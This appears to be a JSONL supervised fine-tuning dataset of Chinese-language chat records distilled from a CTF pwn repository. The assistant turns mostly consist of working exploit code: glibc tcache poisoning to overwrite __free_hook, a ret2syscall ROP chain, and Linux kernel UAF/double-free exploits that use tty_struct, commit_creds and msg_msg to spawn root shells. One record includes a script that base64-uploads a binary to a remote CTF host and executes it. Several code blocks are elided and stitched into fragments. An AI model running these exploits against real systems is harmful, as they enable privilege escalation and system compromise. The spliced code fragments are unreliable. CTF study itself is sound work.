{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-130190b9a72792a82213", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「exp」。\n资料来源：Heap/tcache attack/tcache key/readme.md；主题：2.33堆申请规则；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## exp\n\n```python\n#encoding=utf-8\n#patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 newyearbook\nfrom pwn import *\nr=process('./pwn')\ncontext.log_level='debug'\nlibc=ELF('/home/q/Desktop/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6')\ndef add():\n\tr.sendlineafter(\"4. edit a page\\n\",str(1))\n\ndef dele(idx):\n\tr.sendlineafter(\"4. edit a page\\n\",str(2))\n\tr.sendlineafter(\"idx\\n\",str(idx))\n\ndef show(idx):\n\tr.sendlineafter(\"4. edit a page\\n\",str(3))\n\tr.sendlineafter(\"idx\\n\",str(idx))\ndef edit(idx,con):\n\tr.sendlineafter(\"4. edit a page\\n\",str(4))\n\tr.sendlineafter(\"idx\\n\",str(idx))\n\tr.sendafter(\"Content:\",con)\nfor i in range(10):\n\tadd()\nfor i in range(9):\n\tdele(i)\n\nshow(0)\nr.recvuntil(\"Content:\")\nheap1=u64(r.recv(5)+b'\\x00'*3)\nprint(hex(heap1))\nedit(7,'\\xa0')\nshow(7)\nr.recvuntil(\"Content:\")\nlibc=u64(r.recv(6)+b'\\x00'*2)-0x1e0ca0\nprint(hex(libc))\nsystem= libc+0x04fa60\nf_hook = libc+0x1e3e20\nreal=((f_hook^heap1))\nprint (hex(real))\nedit(7,'\\x00')\nedit(6,p64(real))\nadd()\nadd()\nedit(10,\"/bin/sh\\x00\")\nedit(11,p64(system))\ndele(10)\n#gdb.attach(r)\nr.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d31c7c9b716b0585", "original_line": 148, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key/readme.md", "split": "train", "split_group_key": "8f91d2829ff8491636d81931"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-136bc60e10deae6913ff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「前言」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 前言\n\n`pipe` 是 Linux 中用于进程间通信的一种方式。管道连接读进程和写进程，通过内核缓冲区传递数据。管道基于 `pipe` 族系统调用实现，而不是通过 `open()` 打开普通文件。\n\n```c\n#include \nint pipe(int pipefd[2]);\n```\n\n`pipe()` 创建一个单向数据通道，`pipefd[0]` 是读端，`pipefd[1]` 是写端。写端写入数据，读端读取数据。管道不需要 `open()`，但使用后需要 `close()` 释放。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1be48617c12d1bbd", "original_line": 335, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-138b1614d39739802dd9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2syscall/x64/[MoeCTF 2022]syscall/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2syscall/x64/[MoeCTF 2022]syscall/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x11a9`, `0x00004010`, `0x00000000000011b1`, `0x00000000000011b3`, `0x00000000000011b4`, `0x00000000000011b6`\n\n训练用代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\n\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\nru(\"first!\\n\")\ndz=ru(b\"1a9\").strip()\ndz=int(dz,16)\nprint(\"addr：\",hex(dz))\nbase=dz-0x11a9\nprint(\"base：\",hex(base))\n\nsh=0x00004010+base\nrdi=0x00000000000011b1+base\nrdx=0x00000000000011b4+base\nrsi=0x00000000000011b3+base\nsys=0x00000000000011b6+base\n\noff=72\npayload=b'a'*72+p64(rdi)+p64(sh)+p64(rsi)+p64(0)*2+p64(sys)\nsa(\"Go!!!\\n\",payload)\npay=b'a'*0x3b\ns(pay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-83ff2f9f76445a7a", "original_line": 556, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x64/[MoeCTF 2022]syscall/exp.py", "split": "train", "split_group_key": "0111fd44f11a9d289b17c4cd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x64/[MoeCTF 2022]syscall/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-13d267a60e72341d2f6b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/QWB2021-notebook/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/QWB2021-notebook/exp.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include \"kernelpwn.h\"`\n\n函数/封装：\n- `construct_uaf`\n- `fix_size_by_add`\n- `main`\n- `noteDel`\n- `note_add`\n- `note_edit`\n- `note_gift`\n- `note_read`\n- `note_write`\n\n利用主题关键词：\n- uaf/double-free\n- seccomp/orw\n- kernel\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x200`, `0x2e0`, `0x300`, `0xfff`, `0x1000`, `0x5401`, `0xffffffff8109eb90`, `0xffffffff810a9b40`, `0xffffffff810a9ef0`, `0xffffffff81e8e320`, `0xffffffff81e8e440`\n\n训练用代码片段：\n```c\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \"kernelpwn.h\"\n\n#define TTY_STRUCT_SIZE 0x2e0\n\n#define PTM_UNIX98_OPS 0xffffffff81e8e440\n#define PTY_UNIX98_OPS 0xffffffff81e8e320\n#define COMMIT_CREDS 0xffffffff810a9b40\n#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0\n#define WORK_FOR_CPU_FN 0xffffffff8109eb90\n\n#define NOTE_NUM 0x10\n\nstruct Note {\n    size_t idx;\n    size_t size;\n    char * buf;\n};\n\nstruct KernelNotebook {\n    void *ptr;\n    size_t size;\n};\n\nint note_fd;\nsem_t evil_add_sem, evil_edit_sem;\nchar *uffd_buf;\nchar temp_page[0x1000] = { \"arttnba3\" };\n\nvoid note_add(size_t idx, size_t size, char * buf)\n{\n    struct Note note = {\n        .idx = idx,\n        .size = size,\n        .buf = buf,\n    };\n    ioctl(note_fd, 0x100, ¬e);\n}\n\nvoid noteDel(size_t idx)\n{\n    struct Note note = {\n        .idx = idx,\n    };\n    ioctl(note_fd, 0x200, ¬e);\n}\n\nvoid note_edit(size_t idx, size_t size, char * buf)\n{\n    struct Note note = {\n        .idx = idx,\n        .size = size,\n        .buf = buf,\n    };\n    ioctl(note_fd, 0x300, ¬e);\n}\n\nvoid note_gift(void *buf)\n{\n    struct Note note = {\n        .buf = buf,\n    };\n    ioctl(note_fd, 100, ¬e);\n}\n\nssize_t note_read(int idx, void *buf)\n{\n    return read(note_fd, buf, idx);\n}\n\nssize_t note_write(int idx, void *buf)\n{\n    return write(note_fd, buf, idx);\n}\n\nvoid* fix_size_by_add(void *args)\n{\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n    sem_wait(&evil_edit_sem);\n    note_edit(0, 0, uffd_buf);\n    pthread_t uffd_monitor_thread, add_fix_size_thread, edit_uaf_thread;\n    sem_init(&evil_edit_sem, 0, 0);\n    note_edit(0, TTY_STRUCT_SIZE, temp_page);\n     * Note that we need to sleep(1) there to wait for the kfree() to be done,\n    pthread_create(&edit_uaf_thread, NULL, construct_uaf, NULL);\n    sem_post(&evil_edit_sem);\n    fake_tty_ops.ioctl = (void*) (kernel_offset + WORK_FOR_CPU_FN);\n    note_edit(1, sizeof(struct tty_operations), temp_page);\n    puts(\"[*] triger commit_creds(prepare_kernel_cred(NULL)) and fix tty...\");\n    ioctl(tty_fd, 233, 233);\n    /* commit_creds(&root_cred) */\n    fake_tty_struct_data[4] = kernel_offset + COMMIT_CREDS;\n    ioctl(tty_fd, 233, 233);\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-21789f1e8c88f096", "original_line": 323, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2021-notebook/exp.c", "split": "train", "split_group_key": "adee7972841f6bb4d2e66d7b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2021-notebook/exp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-13dba371fc77f3d99c00", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. 布局堆块」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 1. 布局堆块\n- 申请**3个fox**（0x430），**1个hawk**（0x440），**若干otter**（0x48）用于填充tcache/smallbin。\n- 释放两个fox，让它们进入unsorted bin（合并或独立），再释放hawk进入unsorted bin。\n- 利用UAF修改chunk的`bk`或`bk_nextsize`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f79f2a52b848226c", "original_line": 239, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-147c4b43c901fdcf9431", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「ioctl 伪代码」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## ioctl 伪代码\n\n核心逻辑可近似还原为：\n\n```c\nlong d3kheap2pro_ioctl(struct file *file, unsigned int cmd, unsigned long arg)\n{\n    struct d3kheap2pro_ureq req = {0};\n\n    raw_spin_lock(&d3kheap2pro_globl_lock);\n\n    if (copy_from_user(&req, (void *)arg, sizeof(req))) {\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return -EFAULT;\n    }\n\n    if (req.idx >= 0x200) {\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return -EINVAL;\n    }\n\n    switch (cmd) {\n    case 0x3361626e: // \"nba3\" / alloc\n        if (slots[req.idx].ptr) {\n            raw_spin_unlock(&d3kheap2pro_globl_lock);\n            return -1;\n        }\n\n        slots[req.idx].ptr = kmem_cache_alloc(cachep, GFP_KERNEL);\n        if (!slots[req.idx].ptr) {\n            raw_spin_unlock(&d3kheap2pro_globl_lock);\n            return -ENOMEM;\n        }\n\n        slots[req.idx].refcnt = 1;\n        atomic_inc(&slots[req.idx].refcnt); // refcnt becomes 2\n\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return 0;\n\n    case 0x74747261: // \"artt\" / free\n        if (!slots[req.idx].ptr) {\n            raw_spin_unlock(&d3kheap2pro_globl_lock);\n            return -1;\n        }\n\n        if (slots[req.idx].refcnt <= 0) {\n            raw_spin_unlock(&d3kheap2pro_globl_lock);\n            return -1;\n        }\n\n        atomic_dec(&slots[req.idx].refcnt);\n        kmem_cache_free(cachep, slots[req.idx].ptr);\n\n        // BUG: ptr is not cleared after free\n\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return 0;\n\n    case 0x4e575046: // \"FPWN\"\n    case 0x54433344: // \"D3CT\"\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return 0;\n\n    default:\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return -EINVAL;\n    }\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b87f3888856e509e", "original_line": 366, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-14fe276346460e3b1f6c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3.2 largebin attack 写 `_IO_list_all`」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3.2 largebin attack 写 `_IO_list_all`\n\n利用 UAF 修改 `idx 0` 的 largebin 元数据：\n\n```python\ntarget = libcbase + libc.sym[\"_IO_list_all\"]\nfix(0, p64(0) * 3 + p64(target - 0x20))\n```\n\n这里修改的是 freed large chunk 的 `bk_nextsize`。再次申请触发 largebin 插入逻辑：\n\n```python\nbuild(3, 0x530)\n```\n\n触发后，`_IO_list_all` 被写成 largebin chunk 地址。由于写入 `_IO_list_all` 的是 chunk header 地址，而 `fix(1, payload)` 写的是 user area，所以伪造 FILE 时需要整体减去 `0x10` 的偏移。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-50e0fbd2c2ecc405", "original_line": 203, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1552776ed65df4c4ca14", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `Kernel/2026d3ctf-d3kheap2pro` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`Kernel/2026d3ctf-d3kheap2pro`\n\n## Writeup 蒸馏\n```shell\nqemu-img convert -O raw ./rootfs.qcow2 rootfs.raw\nmkdir rootfs\ndebugfs -R \"rdump / ./rootfs\" ./rootfs.raw\n```\n\n题目文件：\n\n- `bzImage`\n- `kernel_config`\n- `rootfs.qcow2`\n- `run.sh`\n- flag\n\n启动脚本中可见：\n\n```bash\n-cpu kvm64,+smep,+smap\n-append \"console=ttyS0 root=/dev/sda rw rdinit=/sbin/init quiet kaslr pti=on oops=panic panic=1\"\n```\n\n因此题目默认开启：\n\n- SMEP / SMAP、KASLR、KPTI\n\n`kernel_config` 重点：\n\n```\nCONFIG_SLUB=y`\nCONFIG_SLAB_FREELIST_HARDENED=y`\nCONFIG_SLAB_FREELIST_RANDOM=y`\nCONFIG_HARDENED_USERCOPY=y`\nCONFIG_INIT_ON_ALLOC_DEFAULT_ON=y`\nCONFIG_INIT_ON_FREE_DEFAULT_ON=y`\nCONFIG_STRICT_KERNEL_RWX=y`\nCONFIG_STRICT_MODULE_RWX=y\n```\n\n这些保护意味着不能直接使用 ret2usr、简单 freelist poisoning 或老式 `modprobe_path` 模板，需要先验证实际堆原语。\n\n## 模块接口\n\n模块创建了 `/proc/d3kheap2pro`：\n\n```c\nproc_create(\"d3kheap2pro\", 0666, NULL, &d3kheap2pro_ops);\n```\n\n`open/read/write/release` 基本没有可用逻辑，核心入口是 `ioctl`。\n\n用户传入结构只有 8 字节：\n\n```c\nstruct d3kheap2pro_ureq {\n    size_t idx;\n};\n```\n\n模块维护 512 个 slot，逻辑结构近似为：\n\n```c\nstruct d3kheap2pro_slot {\n    void *ptr;\n    int refcnt;\n    int padding;\n};\n\nstruct d3kheap2pro_slot slots[512];\n```\n\n模块初始化时创建了一个自定义 cache：\n\n```c\ncachep = kmem_cache_create(\"d3kheap2pro_cache\", 0x800, 0, 0x2100, NULL);\n```\n\n即每个对象大小为 `0x800` / 2048 字节。\n\n## ioctl 命令\n\n从 `d3kheap2pro_ioctl` 恢复出以下命令：\n\n| 命令值 | 小端 ASCII | 作用 |\n|---:|---|---|\n| `0x3361626e` | `nba3` | alloc |\n| `0x74747261` | `artt` | free |\n| `0x4e575046` | `FPWN` | 未完成，基本只打印日志 |\n| `0x54433344` | `D3CT` | 未完成，基本只打印日志 |\n\n汇编里还能看到 `0x54433343`，小端为 `C3CT`，但它只是编译器生成比较树时使用的边界值，不是有效功能分支。\n\n## ioctl 伪代码\n\n核心逻辑可近似还原为：\n\n```c\nlong d3kheap2pro_ioctl(struct file *file, unsigned int cmd, unsigned long arg)\n{\n    struct d3kheap2pro_ureq req = {0};\n\n    raw_spin_lock(&d3kheap2pro_globl_lock);\n\n    if (copy_from_user(&req, (void *)arg, sizeof(req))) {\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return -EFAULT;\n    }\n\n    if (req.idx >= 0x200) {\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return -EINVAL;\n    }\n\n    switch (cmd) {\n    case 0x3361626e: // \"nba3\" / alloc\n        if (slots[req.idx].ptr) {\n            raw_spin_unlock(&d3kheap2pro_globl_lock);\n            return -1;\n        }\n\n        slots[req.idx].ptr = kmem_cache_alloc(cachep, GFP_KERNEL);\n        if (!slots[req.idx].ptr) {\n            raw_spin_unlock(&d3kheap2pro_globl_lock);\n            return -ENOMEM;\n        }\n\n        slots[req.idx].refcnt = 1;\n        atomic_inc(&slots[req.idx].refcnt); // refcnt becomes 2\n\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return 0;\n\n    case 0x74747261: // \"artt\" / free\n        if (!slots[req.idx].ptr) {\n            raw_spin_unlock(&d3kheap2pro_globl_lock);\n            return -1;\n        }\n\n        if (slots[req.idx].refcnt <= 0) {\n            raw_spin_unlock(&d3kheap2pro_globl_lock);\n            return -1;\n        }\n\n        atomic_dec(&slots[req.idx].refcnt);\n        kmem_cache_free(cachep, slots[req.idx].ptr);\n\n        // BUG: ptr is not cleared after free\n\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return 0;\n\n    case 0x4e575046: // \"FPWN\"\n    case 0x54433344: // \"D3CT\"\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return 0;\n\n    default:\n        raw_spin_unlock(&d3kheap2pro_globl_lock);\n        return -EINVAL;\n    }\n}\n```\n\n## 漏洞点\n\n关键问题在 `free` 分支：\n\n```c\natomic_dec(&slots[idx].refcnt);\nkmem_cache_free(cachep, slots[idx].ptr);\n// slots[idx].ptr is still dangling\n```\n\n`alloc` 时 refcnt 会被设置为 2：\n\n```c\nslots[idx].refcnt = 1;\natomic_inc(&slots[idx].refcnt);\n```\n\n因此同一个 slot 可以连续 free 两次：\n\n```text\nalloc(0)  -> refcnt = 2, ptr = object A\nfree(0)   -> refcnt = 1, object A freed, ptr still A\nfree(0)   -> refcnt = 0, object A freed again\n```\n\n这是一个稳定的 dangling pointer / double free 起点。\n\n编译建议：\n\n```bash\ngcc -static -O2 -Wall -o exp exp.c\n```\n\n## 利用难点\n\n这题不能简单套常见 kernel UAF 模板，原因是：\n\n1. 对象来自自定义 `kmem_cache`，不是普通 `kmalloc-2k`。\n2. 模块没有提供对 object 内容的读写接口。\n3. `read` / `write` 几乎不可用。\n4. SLUB freelist hardening/random 开启。\n5. init-on-free / init-on-alloc 开启，会影响对象残留数据。\n6. SMEP/SMAP/KPTI/KASLR 全开，不能直接跳用户态代码。\n\n所以完整利用前必须动态验证：\n\n- double free 是否会立刻被 SLUB 检测；\n- `alloc -> free -> alloc` 是否能稳定复用同一地址；\n- 多个 slot 是否可以 alias 到同一对象；\n- 自定义 cache 是否可能被其他路径复用；\n- 是否可以借助 alias slot 继续构造更强原语。\n\n## 推荐解题路线\n\n### 先验证 alias slot\n\n构造：\n\n```text\nalloc(0)\nfree(0)\nalloc(1)\n```\n\n如果 `alloc(1)` 取回刚释放的对象，那么：\n\n```text\nslot0.ptr == slot1.ptr\n```\n\n由于 slot0 的 `ptr` 没清空，slot0 成为 stale reference。\n\n进一步可以尝试：\n\n```text\nalloc(0)\nfree(0)\nalloc(1)\nfree(0)\nfree(1)\n```\n\n这可以制造 alias double free。\n\n### 再验证自定义 cache 是否隔离\n\n## Exploit 关键代码\n### Kernel/2026d3ctf-d3kheap2pro/exp.c\n```c\n/**\n * Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>\n *\n * This work is licensed under the terms of the GNU GPL, version 2 or later.\n**/\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n/**\n * Kernel Pwn Infrastructures\n**/\n\n#define SUCCESS_MSG(msg)    \"\\033[32m\\033[1m\" msg \"\\033[0m\"\n#define INFO_MSG(msg)       \"\\033[34m\\033[1m\" msg \"\\033[0m\"\n#define ERROR_MSG(msg)      \"\\033[31m\\033[1m\" msg \"\\033[0m\"\n\n#define log_success(msg)    puts(SUCCESS_MSG(msg))\n#define log_info(msg)       puts(INFO_MSG(msg))\n#define log_error(msg)      puts(ERROR_MSG(msg))\n\n#define KASLR_GRANULARITY 0x10000000\n#define KASLR_MASK (~(KASLR_GRANULARITY - 1))\nsize_t kernel_base = 0xffffffff81000000, kernel_offset = 0;\nsize_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;\n\nvoid err_exit(char *msg)\n{\n    printf(ERROR_MSG(\"[x] Error at: \") \"%s\\n\", msg);\n    sleep(5);\n    exit(EXIT_FAILURE);\n}\n\nvoid bind_core(int core)\n{\n    cpu_set_t cpu_set;\n\n    CPU_ZERO(&cpu_set);\n    CPU_SET(core, &cpu_set);\n    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);\n\n    printf(SUCCESS_MSG(\"[*] Process binded to core \") \"%d\\n\", core);\n}\n\nvoid get_root_shell(void)\n{\n    if(getuid()) {\n        log_error(\"[x] Failed to get the root!\");\n        sleep(5);\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n    system(\"id; cat /flag 2>/dev/null || true\");\n    system(\"/bin/sh\");\n#define D3KHEAP2_OBJ_FREE   0x74747261\n#define D3KHEAP2_OBJ_EDIT   0x54433344\n#define D3KHEAP2_OBJ_SHOW   0x4e575046\n    return ioctl(fd, D3KHEAP2_OBJ_ALLOC, &ureq);\nint d3kheap2_free(int fd, size_t idx)\n    return ioctl(fd, D3KHEAP2_OBJ_FREE, &ureq);\nint d3kheap2_edit(int fd, size_t idx)\n    return ioctl(fd, D3KHEAP2_OBJ_EDIT, &ureq);\nint d3kheap2_show(int fd, size_t idx)\n    return ioctl(fd, D3KHEAP2_OBJ_SHOW, &ureq);\n#define KMALLOC_2K_OBJ_PER_SLUB 16\n/* it cannot be big because the system limits that */\n        \"[*] Freeing d3kheap2 buffer into buddy \"\n        \"and reclaiming as kmalloc-cg-2k SLUB page...\"\n        if ((i / KMALLOC_2K_OBJ_PER_SLUB) % 2 == 0) {\n        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {\n                ERROR_MSG(\"FAILED to free no.\")\"%d\"\n            err_exit(\"FAILED to free d3kheap2 buffer!\");\n        if ((i / KMALLOC_2K_OBJ_PER_SLUB) % 2 != 0) {\n        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {\n                ERROR_MSG(\"FAILED to free no.\")\"%d\"\n            err_exit(\"FAILED to free d3kheap2 buffer!\");\n    /* To be honest, we only need to free ONE obj here, just think :) */\n        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {\n                ERROR_MSG(\"FAILED to free no.\")\"%d\"\n            err_exit(\"FAILED to free d3kheap2 buffer!\");\n        perror(\"[x] Unable to free the victim msg_msg\");\n        err_exit(\"FAILED to free victim msg_msg!\");\n        perror(\"[x] Unable to free the victim msg_msg\");\n        err_exit(\"FAILED to free victim msg_msg!\");\n    system(\"/bin/sh\");\n```\n\n### Kernel/2026d3ctf-d3kheap2pro/exp.py\n```python\nfrom pwn import *\nimport base64\nfrom pathlib import Path\n\ncontext.log_level = 'info'\n\nDEFAULT_HOST = \"rb6tlxo7p4ebpd2ymbdtvtxg3fi.cloud.d3c.tf\"\nDEFAULT_PORT = 443\n\ndef start():\n    return remote(DEFAULT_HOST, DEFAULT_PORT, ssl=True)\n\n\npayload_path = Path(args.EXP or \"./exp\")\nif not payload_path.is_file():\n    log.failure(f\"payload file not found: {payload_path}\")\n    raise SystemExit(1)\n\nio = start()\nio.sendlineafter(b\"/ $\", b\"rm -f /tmp/b64_exp /tmp/exploit\")\n\nencoded = base64.b64encode(payload_path.read_bytes())\n\nchunk_size = 512\nfor i in range(0, len(encoded), chunk_size):\n    chunk = encoded[i:i + chunk_size].decode().replace('\\\"', '\\\\\\\"')\n    io.sendlineafter(b\"/ $\", f'echo -n \"{chunk}\" >> /tmp/b64_exp'.encode())\n\n# 解码 & 执行\nio.sendlineafter(b\"/ $\", b\"base64 -d /tmp/b64_exp > /tmp/exploit\")\nio.sendlineafter(b\"/ $\", b\"chmod +x /tmp/exploit\")\nio.sendlineafter(b\"/ $\", b\"/tmp/exploit\")\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 40, "ctf_task_type": "pwn", "original_id": "pwn101-pair-4a0cde6d49b0fe3c", "original_line": 413, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro", "split": "train", "split_group_key": "f7b9c58fd260486fa6cde6f2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro", "split": "train", "type": "ctf_lora_sft"}
